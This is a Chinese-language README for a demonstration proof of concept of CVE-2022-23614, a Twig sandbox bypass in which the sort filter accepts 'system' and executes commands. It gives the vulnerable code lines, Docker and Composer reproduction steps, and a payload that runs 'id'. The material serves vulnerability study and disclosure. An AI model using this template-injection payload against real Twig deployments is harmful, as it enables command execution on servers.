针对 CVE-2022-23614 的概念验证(PoC),该漏洞在 DSA-5107-1 中被提及。
Twig 是一个灵活、快速且安全的 PHP 模板引擎。值得注意的是,可以在渲染模板之前使用过滤器。sort 过滤器可用于对数组元素进行排序,结构如下:
{{ [5,8,2,3]|sort('desc') }}
Twig 有一个沙箱模式,用于评估不可信的模板代码。在此沙箱模式下,sort 过滤器的 arrow 参数必须是一个闭包,以防止攻击者运行任意 PHP 函数。在受影响的版本中,此约束未得到正确执行,可能导致注入任意 PHP 代码。
{{ ["id",""]|sort('system') }}
该 PoC 展示了两种不同使用场景下的漏洞:使用 Debian 的 php-twig(v2.14.1)包,或使用 Composer 的 twig/twig(v2.14)模块。
index.php 文件根据第一个参数构造一个 Twig 模板。在以下代码中,argv[1] 是 Twig 在渲染时将使用的排序函数名称。
// index.php - line 28
$templateCode .= "{{ args|sort('" . $sortFunction . "') }}\n";
然后,index.php 将使用 Twig 的两个已弃用函数来加载生成的模板。最后,它使用第二个参数(argv[2])在渲染时将数据传递给模板,特别是我们想要排序的 args 数组。
// index.php - line 44
$renderedTemplate = $modifiedTemplate->render($arrayToSort);
渲染后的模板随后被打印到标准输出。
请注意,此仓库仅用于演示目的。它设计得简单易懂且易于使用,以便仅通过命令行界面来体验 CVE。这与实际易受攻击服务器上的情况相去甚远。
使用 Docker,我们可以重现原始 Debian 安全公告(DSA) 的上下文。你可以使用提供的 build-docker.sh 脚本来正确构建并运行易受攻击的容器。
chmod a+x build-docker.sh
./build-docker.sh
容器在执行载荷(一个 id 命令)后应自动关闭。如果你想尝试自己的命令,可以以交互模式运行容器:
docker build -t cve-2022-23614 .
docker run -it --rm cve-2022-23614 /bin/bash
进入容器后,你可以使用以下模板构造自己的载荷:
php index.php system '{"args":["id",""]}'
^ ^
sorting function array to sort
此 Dockerfile 部分使用了 DECRET 创建。
如果你的机器上已安装 PHP 和 Composer,可以使用易受攻击的 Composer 模块来复现此漏洞。
cd exploit
composer install
然后只需运行载荷即可。
php index.php system '{"args":["id",""]}'
CVE 详情: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
DSA: https://www.debian.org/security/2022/dsa-5107
补丁提交: https://github.com/twigphp/Twig/commit/22b9dc3c03ee66d7e21d9ed2ca76052b134cb9e9
PoC 作者 davwwwx(使用 GUI): https://github.com/davwwwx/CVE-2022-23614